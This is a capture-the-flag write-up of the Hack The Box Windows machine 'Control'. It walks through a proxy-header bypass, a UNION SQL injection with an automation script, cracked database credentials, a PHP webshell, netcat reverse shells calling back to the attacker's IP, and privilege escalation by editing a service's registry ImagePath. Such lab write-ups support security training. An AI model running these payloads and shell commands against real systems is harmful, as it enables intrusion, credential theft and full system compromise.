Control
Table of Contents
Logo | Creator | OS | Difficulty | Points | Graph |
---|---|---|---|---|---|
TRX | Windows | Hard | 40 |
Reconnaissance⌗
Control is a Windows host with a few twists and turns added to some standard services. I used HTTP headers to bypass a required proxy and exploited a SQL injection in the backend database to get credentials. I was then able to exploit my file read and write access through MariaDB to upload a webshell and eventually secure a standard reverse shell with netcat. Using the credentials from the database I used PowerShell Invoke-Command to escalate to a user account, and saw their PowerShell history which gave me the hint towards system. After lots of enumeration of services in the registry, I found one running as system where I had write access. By modifying its registry entry and restarting the service, I was able to get a reverse shell as system.
Initial Scan⌗
I started the enumeration of Control as usual with an NMAP quick scan, followed by the default script scan and a full port scan. With the script scan I saw two ports of particular interest: 80 and 3306.
Command: nmap -sC -sV -p 80,135,3306 -oN nmap/def-script 10.10.10.167
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
| fingerprint-strings:
| NotesRPC:
|_ Host '10.10.14.243' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=3/17%Time=5E713504%P=x86_64-pc-linux-gnu%r(No
SF:tesRPC,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.243'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Web Enumeration⌗
I can see from the scan that the HTTP server is running Microsoft IIS 10.0, which means this is likely a Windows 10 or Server 2016 host. When I visit the home page, I get a page for Fidelity with an unresponsive subscribe button and links at the top to home, about, admin, and login. These links tell me right away that the server is running PHP.
When I take a look at the source of the page I see a comment:
<!-- To Do:
- Import Products
- Link to new payment system
- Enable SSL (Certificates location \\192.168.4.28\myfiles)
<!-- Header -->
This tells me that there’s probably some kind of certificate storage on the internal host 192.168.4.28
. I don’t have anywhere to use this just yet, but it doesn’t take long to figure out what it’s for. When I try to visit admin.php, I get a note saying I need to go through the proxy.
Initial Foothold⌗
After doing some research on HTTP proxies and headers, I found a promising header tag: X-Forwarded-For
. According to Mozilla, this header “is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy.” This means that I might be able to trick the web server into thinking I’m from the internal network through a proxy. Using the IP address of the SSL server in the previous comment, I’ll set an additional header and get access to the page.
SQL Injection⌗
I can now see a number of fields on the admin page where I can enter input. I’ll check out the search bar first, and verify that it actually responds to input. I can now test for SQL injections, and am quickly able to verify that it is injectable by inputting a single quote.
With some enumeration of the database table using a UNION injection, I can successfully control the output and query whatever I want. I am able to see the server is running MariaDB 10.4.8 with this query:
root@gingerbreadHouse:~/control# url="http://10.10.10.167/search_products.php"
root@gingerbreadHouse:~/control# header="X-Forwarded-For: 192.168.4.28"
root@gingerbreadHouse:~/control# curl -s $url -H "$header" -d "productName=' UNION SELECT 1,2,3,4,5,CONCAT('start',@@version)-- -"| grep start
<tr><td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>start10.4.8-MariaDB</td></tr> <tbody>
Gathering Credentials⌗
I then wrote a script to help automate this injection and recover whatever data I wanted. This is the script:
from urllib import quote
import requests
import re
url = "http://10.10.10.167/search_products.php"
header = {"X-Forwarded-For": "192.168.4.28"}
while True:
cmd = raw_input('Enter MySQL command: ')
table = raw_input('Enter table name (empty for cmd): ')
if (table != ""):
payload = {'productName': "' UNION SELECT 'GBM',2,3,4,5,CONCAT('BREAK'," + cmd + ",'BREAK') FROM " + table + "-- -"}
else:
payload = {'productName': "' UNION SELECT 'GBM',2,3,4,5,CONCAT('BREAK'," + cmd + ",'BREAK')-- -"}
r = requests.post(url, headers=header, data=payload)
out = re.findall(r"(?<=BREAK).*(?=<\/td>)", r.text)
err = re.findall(r"(?<=Error: ).*(?=<\/tbody)", r.text)
try:
res = out[0].split('BREAK')
for item in res:
if not 'GBM' in item:
print(item)
except:
print(err[0])
Running it, I can select usernames and passwords from the mysql.user
table, giving me the following password hashes:
root*0A4A5CAD344718DC418035A1F4D292BA603134D8
manager*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
hector*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
I took the easy route cracking these, and found manager:l3tm3!n
on Hashes.org and hector:l33th4x04hector
on CrackStation.
Shell⌗
After playing around with the database until I was satisfied there was nothing useful left, I abused the file read and write permissions of the MariaDB service to upload a PHP webshell, then used that to upload netcat and call back with a reverse shell.
I was able to create a standard PHP webshell using this curl command: curl -s http://10.10.10.167/search_products.php -H "X-Forwarded-For: 192.168.4.28" -d "productName=' UNION SELECT 1,2,3,4,5,'<?php system(\$_GET["gbm"]); ?>' INTO OUTFILE 'c:/inetpub/wwwroot/gbm-rev.php'-- -"
. To avoid working with long web requests, this webshell would let me execute commands to further establish persistence. From here, I uploaded netcat using my webshell and hosting nc.exe in a python SimpleHTTPServer: curl -s "http://10.10.10.167/gbm.php?gbm=powershell+invoke-webrequest+-uri+http://10.10.14.10/nc.exe+-outfile+uploads\nc.exe"
. Finally, I got a reverse shell as nt authority\iusr
with the command curl -s "http://10.10.10.167/gbm.php?gbm=uploads\\nc.exe+10.10.14.10+80+-e+cmd.exe"
.`
Getting User⌗
Looking at the users on the box, I noticed Hector did exist, but manager did not - probably because manager was just a user for MariaDB. Fortunately, I had found the credentials for Hector in the database already. Had I not, I could have seen at this point that the SQL credentials for manager were in C:\inetpub\wwwroot\database.php
, and with those I could have found Hector’s password.
From here, it was a simple matter of creating a PSCredential object for Hector and running PowerShell’s Invoke-Command tool. I saw the hostname was “Fidelity” using hostname
, and then ran these commands with another netcat listener to get a reverse shell as hector.
powershell
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('Fidelity\Hector', $pass)
Invoke-Command -Computer Fidelity -ScriptBlock { cmd /c "c:/inetpub/wwwroot/uploads/nc.exe 10.10.14.10 80 -e powershell" } -credential $cred
Just like that, I can get the user flag.
Getting System⌗
I wasn’t able to run enumeration scripts like PowerUp.ps1, because they rely on a different PowerShell version. Fortunately, there was a hint that I should check out Hector’s previous history, so I looked at his recent PowerShell commands:
PS C:\Users\Hector\appdata\roaming\microsoft\windows\powershell\psreadline> type ConsoleHost_history.txt
type ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
These are some interesting commands here, because after taking a look at the Windows Docs, I realized this spot in the registry controls system startup, device configuration, and system services. Even more interesting is the fact that when I look at the security descriptor of services in the registry, I see that Hector has full control.
PS C:\Users\Hector\appdata\roaming\microsoft\windows\powershell\psreadline> get-acl HKLM:\System\CurrentControlSet\services | format-list
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow FullControl
NT AUTHORITY\Authenticated Users Allow ReadKey
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
CONTROL\Hector Allow FullControl
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
Audit :
Sddl : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;KR;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KA;;;S-1-5-21-3271572904-80546332
-2170161114-1000)(A;CI;KR;;;AC)
Services in the Windows registry have an element called “ImagePath”, which defines the path of the executable and any flags used to start the service. If I can overwrite this, I can define exactly what I want to happen when the service starts. Exploiting this access took a bit more work, unfortunately. Even though I have control over the registry, I don’t have the ability to start and stop most services.
PS C:\Users\Hector\appdata\roaming\microsoft\windows\powershell\psreadline> get-itemproperty -path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\upnphost
DependOnService : {SSDPSRV, HTTP}
Description : @%systemroot%\system32\upnphost.dll,-214
DisplayName : @%systemroot%\system32\upnphost.dll,-213
ErrorControl : 1
FailureActions : {128, 81, 1, 0...}
ImagePath : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
ObjectName : NT AUTHORITY\LocalService
RequiredPrivileges : {SeChangeNotifyPrivilege, SeCreateGlobalPrivilege}
ServiceSidType : 1
Start : 4
Type : 32
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\upnphost
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
PSChildName : upnphost
PSProvider : Microsoft.PowerShell.Core\Registry
I had to figure out which services I had the ability to restart. To shorten the list a bit, I got a hint that one of the services I could use was one that I could start, but not stop. From this information, I wrote a script to print any services that might be candidates:
$services = get-childitem HKLM:\SYSTEM\CurrentControlset\Services | Foreach-object { $_.PSPath }
$usable = New-Object System.Collections.ArrayList
foreach($s in $services) {
$name = get-itemproperty -Path $s | select PSChildName
start-service -Name $name.pschildname
if ($?) {
stop-service -Name $name.pschildname
if (! $?) {
$usable.Add($name) > $null
}
}
}
$usable
From this list, I was able to query configuration info with cmd /c sc qc $serviceName
, and eventually I found NetSetupSvc which starts as “LocalSystem”. This account is defined in the Windows Docs, and has a token with the SIDs of NT AUTHORITY\SYSTEM and BUILTIN\Administrators, meaning it effectively runs as a system administrator. I can run the following commands to change the registry entry for the service:
# Save the old ImagePath to revert after done
get-itemproperty -path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetSetupSvc
# Change the ImagePath to my malicious path
set-itemproperty -path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetSetupSvc -Name ImagePath -Value 'c:\inetpub\wwwroot\uploads\nc.exe 10.10.14.10 1337 -e cmd.exe'
Now, by starting a netcat listener and running start-service -Name NetSetupSvc
, I get a shell as NT AUTHORITY\System! As a note, a number of other services would work for this if, for instance, another person on the box had already started your chosen service. Some services, like the Windows Update Service (wuauserv), can be started multiple times and thus make great candidates for reuse on a box like this.